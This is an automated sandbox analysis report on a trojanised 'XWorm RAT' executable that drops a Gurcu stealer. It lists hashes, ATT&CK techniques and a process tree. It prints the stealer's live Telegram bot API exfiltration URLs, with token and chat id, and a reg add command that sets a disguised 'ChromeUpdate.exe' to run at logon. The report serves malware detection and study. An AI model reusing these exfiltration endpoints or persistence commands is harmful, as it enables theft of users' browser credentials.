gurcu | ab6c9b1b354d32cc272164d7e28dfe89e4cf6c8aa5b02c5d095c8f211cd34e82

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
05-10-2024 10:39

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General

Target

XWorm-RAT-main/XWorm RAT V2.1/XWorm RAT V2.1.exe
Size

2.2MB
MD5

835f081566e31c989b525bccb943569c
SHA1

71d04e0a86ce9585e5b7a058beb0a43cf156a332
SHA256

ea9258e9975b8925a739066221d996aef19b4ef4f4c91524f82e39d403f25579
SHA512

9ec58f8c586ecf78ef8d75debc5dba58544558566423a634724bb5ab192aaf64f9ccbee9a5af48124a3366b2a7d24b4db71bb5743978201b881c08bad8f6fb0c
SSDEEP

49152:LdYJMfC7koydmRzCxWO8e89khof23mKijV6WvFw3BAz2tIm0U:qc3vdUEWFySfdw3rtIm

Score

10^/10

gurcu discovery persistence spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendMessage?chat_id=2024893777

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/getUpdates?offset=-

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

ChromeUpdate.exeXWorm RAT V2.1.exeCommand Reciever.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	ChromeUpdate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	XWorm RAT V2.1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	Command Reciever.exe

Executes dropped EXE 2 IoCs

Processes:

Command Reciever.exeChromeUpdate.exe

pid process

4820 Command Reciever.exe
3040 ChromeUpdate.exe
Loads dropped DLL 2 IoCs

Processes:

Command Reciever.exeChromeUpdate.exe

pid process

4820 Command Reciever.exe
3040 ChromeUpdate.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLogs\\ChromeUpdate.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

24 raw.githubusercontent.com
19 raw.githubusercontent.com
20 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

17 ip-api.com
Enumerates processes with tasklist 1 TTPs 1 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exe

pid process

3592 tasklist.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
24	raw.githubusercontent.com
19	raw.githubusercontent.com
20	raw.githubusercontent.com

flow	ioc
17	ip-api.com

pid	process
3592	tasklist.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

XWorm RAT V2.1.exeCommand Reciever.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWorm RAT V2.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Command Reciever.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Command Reciever.exeChromeUpdate.exe

description	ioc	process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Command Reciever.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Command Reciever.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	ChromeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	ChromeUpdate.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

5008 timeout.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3280 reg.exe

pid	process
5008	timeout.exe

pid	process
3280	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Command Reciever.exeChromeUpdate.exeCommand Reciever.exe

pid	process
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
4820	Command Reciever.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3040	ChromeUpdate.exe
3040	ChromeUpdate.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe
3460	Command Reciever.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

Command Reciever.exetasklist.exeChromeUpdate.exe

description	pid	process
Token: SeDebugPrivilege	4820	Command Reciever.exe
Token: SeDebugPrivilege	3592	tasklist.exe
Token: SeDebugPrivilege	3040	ChromeUpdate.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

Command Reciever.exe

pid process

3460 Command Reciever.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

Command Reciever.exe

pid process

3460 Command Reciever.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

ChromeUpdate.exe

pid process

3040 ChromeUpdate.exe

pid	process
3460	Command Reciever.exe

pid	process
3460	Command Reciever.exe

pid	process
3040	ChromeUpdate.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

XWorm RAT V2.1.exeCommand Reciever.execmd.exeChromeUpdate.execmd.exe

description	pid	process	target process
PID 2196 wrote to memory of 3460	2196	XWorm RAT V2.1.exe	Command Reciever.exe
PID 2196 wrote to memory of 3460	2196	XWorm RAT V2.1.exe	Command Reciever.exe
PID 2196 wrote to memory of 3460	2196	XWorm RAT V2.1.exe	Command Reciever.exe
PID 2196 wrote to memory of 4820	2196	XWorm RAT V2.1.exe	Command Reciever.exe
PID 2196 wrote to memory of 4820	2196	XWorm RAT V2.1.exe	Command Reciever.exe
PID 4820 wrote to memory of 4468	4820	Command Reciever.exe	cmd.exe
PID 4820 wrote to memory of 4468	4820	Command Reciever.exe	cmd.exe
PID 4468 wrote to memory of 4268	4468	cmd.exe	chcp.com
PID 4468 wrote to memory of 4268	4468	cmd.exe	chcp.com
PID 4468 wrote to memory of 3592	4468	cmd.exe	tasklist.exe
PID 4468 wrote to memory of 3592	4468	cmd.exe	tasklist.exe
PID 4468 wrote to memory of 3996	4468	cmd.exe	find.exe
PID 4468 wrote to memory of 3996	4468	cmd.exe	find.exe
PID 4468 wrote to memory of 5008	4468	cmd.exe	timeout.exe
PID 4468 wrote to memory of 5008	4468	cmd.exe	timeout.exe
PID 4468 wrote to memory of 3040	4468	cmd.exe	ChromeUpdate.exe
PID 4468 wrote to memory of 3040	4468	cmd.exe	ChromeUpdate.exe
PID 3040 wrote to memory of 5072	3040	ChromeUpdate.exe	cmd.exe
PID 3040 wrote to memory of 5072	3040	ChromeUpdate.exe	cmd.exe
PID 5072 wrote to memory of 3280	5072	cmd.exe	reg.exe
PID 5072 wrote to memory of 3280	5072	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\XWorm-RAT-main\XWorm RAT V2.1\XWorm RAT V2.1.exe
"C:\Users\Admin\AppData\Local\Temp\XWorm-RAT-main\XWorm RAT V2.1\XWorm RAT V2.1.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Users\Admin\AppData\Local\Temp\XWorm-RAT-main\XWorm RAT V2.1\Command Reciever.exe
  "C:\Users\Admin\AppData\Local\Temp\XWorm-RAT-main\XWorm RAT V2.1\Command Reciever.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3460
- C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe
  "C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpDB4C.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpDB4C.tmp.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:4268
  - - C:\Windows\system32\tasklist.exe
      Tasklist /fi "PID eq 4820"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3592
  - - C:\Windows\system32\find.exe
      find ":"
      4⤵
      PID:3996
  - - C:\Windows\system32\timeout.exe
      Timeout /T 1 /Nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5008
  - - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\ChromeUpdate.exe
      "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\ChromeUpdate.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3040
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v GoogleChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\ChromeUpdate.exe /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5072
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v GoogleChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogs\ChromeUpdate.exe /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3280

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe

Filesize
5.6MB

MD5
6b4b7f3c4d2fb1e42df23a7154dd4039

SHA1
ae2a7308330119b906305414c013f3322d921a2e

SHA256
4bb10dd970f1111e2e0e8706ed6a4ab039f692663a9443fc6593ec45b29b19e2

SHA512
9ae1588488f4db9bbacd3a1704e53fb7422846d3a6bb1b3da8323ad487412d7c938a3215181da7a7647141d4c54a0bcd93dde666ac848312ac38a2d9488161d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpDB4C.tmp.bat

Filesize
322B

MD5
ce13916049e348d54899c4867c4072a8

SHA1
9ea01848af8cac385e1946388979604b9bc94779

SHA256
ae468b77c24e06d12992ab546832e739c3a2712526a35ee66c2119bd9c46dc1a

SHA512
e294e2afbf04517ddedb35d2883323b87c963d79e14b9d4284d810924ccbdcd1529fc6a9aae9db16b7089d85e9e928b7eaf091ab7421c9db739b3c62eaceeb62

Download Submit
memory/2196-0-0x000000007491E000-0x000000007491F000-memory.dmp

Filesize
4KB

Download
memory/2196-1-0x0000000000C90000-0x0000000000ED2000-memory.dmp

Filesize
2.3MB

Download
memory/2196-2-0x0000000005E30000-0x00000000063D4000-memory.dmp

Filesize
5.6MB

Download
memory/3040-47-0x000001D1E3C90000-0x000001D1E3CB2000-memory.dmp

Filesize
136KB

Download
memory/3040-49-0x000001D1E3CC0000-0x000001D1E3CFA000-memory.dmp

Filesize
232KB

Download
memory/3040-43-0x000001D1E3AD0000-0x000001D1E3B3A000-memory.dmp

Filesize
424KB

Download
memory/3040-42-0x000001D1E3A50000-0x000001D1E3A5A000-memory.dmp

Filesize
40KB

Download
memory/3040-46-0x000001D1E3C40000-0x000001D1E3C90000-memory.dmp

Filesize
320KB

Download
memory/3040-50-0x000001D1E3BF0000-0x000001D1E3C16000-memory.dmp

Filesize
152KB

Download
memory/3040-68-0x000001D1E3D20000-0x000001D1E3D32000-memory.dmp

Filesize
72KB

Download
memory/3040-45-0x000001D1E3B40000-0x000001D1E3BF2000-memory.dmp

Filesize
712KB

Download
memory/3460-14-0x0000000074910000-0x00000000750C0000-memory.dmp

Filesize
7.7MB

Download
memory/3460-22-0x0000000005510000-0x000000000551A000-memory.dmp

Filesize
40KB

Download
memory/3460-23-0x0000000005800000-0x0000000005856000-memory.dmp

Filesize
344KB

Download
memory/3460-31-0x0000000009270000-0x00000000092D6000-memory.dmp

Filesize
408KB

Download
memory/3460-21-0x0000000005890000-0x00000000058A0000-memory.dmp

Filesize
64KB

Download
memory/3460-41-0x0000000074910000-0x00000000750C0000-memory.dmp

Filesize
7.7MB

Download
memory/3460-20-0x0000000005670000-0x0000000005702000-memory.dmp

Filesize
584KB

Download
memory/3460-18-0x00000000055D0000-0x000000000566C000-memory.dmp

Filesize
624KB

Download
memory/3460-17-0x0000000000610000-0x0000000000CA2000-memory.dmp

Filesize
6.6MB

Download
memory/3460-71-0x0000000005890000-0x00000000058A0000-memory.dmp

Filesize
64KB

Download
memory/4820-19-0x0000024867E50000-0x00000248683F2000-memory.dmp

Filesize
5.6MB

Download
memory/4820-30-0x0000024868950000-0x000002486896E000-memory.dmp

Filesize
120KB

Download
memory/4820-28-0x000002486A1C0000-0x000002486A236000-memory.dmp

Filesize
472KB

Download
memory/4820-29-0x000002486A240000-0x000002486A250000-memory.dmp

Filesize
64KB

Download
memory/4820-16-0x00007FFAACBE3000-0x00007FFAACBE5000-memory.dmp

Filesize
8KB

Download